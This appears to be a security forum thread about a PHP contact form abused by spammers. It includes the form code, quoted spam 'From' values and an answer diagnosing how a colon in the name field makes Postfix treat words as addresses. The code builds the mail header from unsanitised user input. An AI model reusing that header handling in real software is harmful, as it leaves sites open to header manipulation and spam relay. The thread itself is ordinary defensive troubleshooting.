    !checkdnsrr(substr(strrchr($email, "@"), 1))) {
    $msg = 'Invalid email address!';
    exit();
}
else
{
    $message = nl2br(cleanInput($_POST['message']));

    $subject = 'Support request';
    $to = 'support@domain.com';
    $sender = 'webmaster@domain.com';
    $headers = array(
        'From' => $name . '<' . $email . '>',
        'MIME-Version' => '1.0',
        'Content-type' => 'text/html; charset=iso-8859-1'
    );
    $result = mail($to, $subject, $message, $headers, '-r' . $sender);
}

function cleanInput($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

Recently I've been attacked by a spammer who is posting emails with From field value like this

check@mydomain.com, this@mydomain.com, link@mydomain.com,
"US:http"@mydomain.com://www.somedomain.com/page <somename@mail.com>

So I prohibited the @ character in the name field like so

if (strpos($_POST["name"], "@") !== false)
    exit()

I've tried sending a POST request with a name like name@ from Postman and it was rejected successfully but am still getting the same spam emails.

Any ideas please how the spammer is bypassing the validation check?

Update

Here is an example of a spam email with error_log of the raw input fields
https://pastebin.com/29ppLGuX

Update2

Thanks to @mti2935 it was figured out that there is no injection peformed. The spammer is just putting a simple line of text with a link into the name field and the MTA (Postfix) to some reason is appending the domain name to all words in that text.
I've tried playing with the data and found out that it is the colon which causes all this trouble.

If $name="one two three" then the header of the received email looks good
From: one two three<name@mail.com>

If $name="one: two three" then
From: one@mydomain.com:two three <name@mail.com>

If $name="one: two: three" then
From: "one:two"@mydomain.com:three <name@mail.com>

I've tried converting the header array into a string prior to feeding it into the mail and got the same results.

The pastebin posts help a lot.  First of all, we see from the unsanitized user inputs that you posted, that the spammer actually isn't entering inputs containing the @ character, after all, in 'name' field of your form.  So that explains how it's getting past that check in your script.

It seems that what's happening is that your MTA is appending @yourdomain.com to these inputs, which is what MTA's default to doing when they encounter an email address without a domain.

So, that brings us to the question of why your MTA is treating these values, in the From: header, where you would normally have the sender's name,  as email addresses instead of a name.  I think it's related to the way that you are constructing the $headers array that you are passing as the fourth input to the mail() function.  I think you need "\r\n" after each line in the headers, and the array needs to be converted to a string.  There may be other things to look out for as well.  See https://stackoverflow.com/questions/27478307/having-issue-on-setting-array-of-headers-in-php-mail-function for more info on how to get this right.

Update:  It turns out that in addition to the issues described above, problems were being caused if the user included a colon in the sender's name field when filling out the form, as this character later manifested itself in the From: header of the message.  See comments below by yaugenka for more info and for the solution.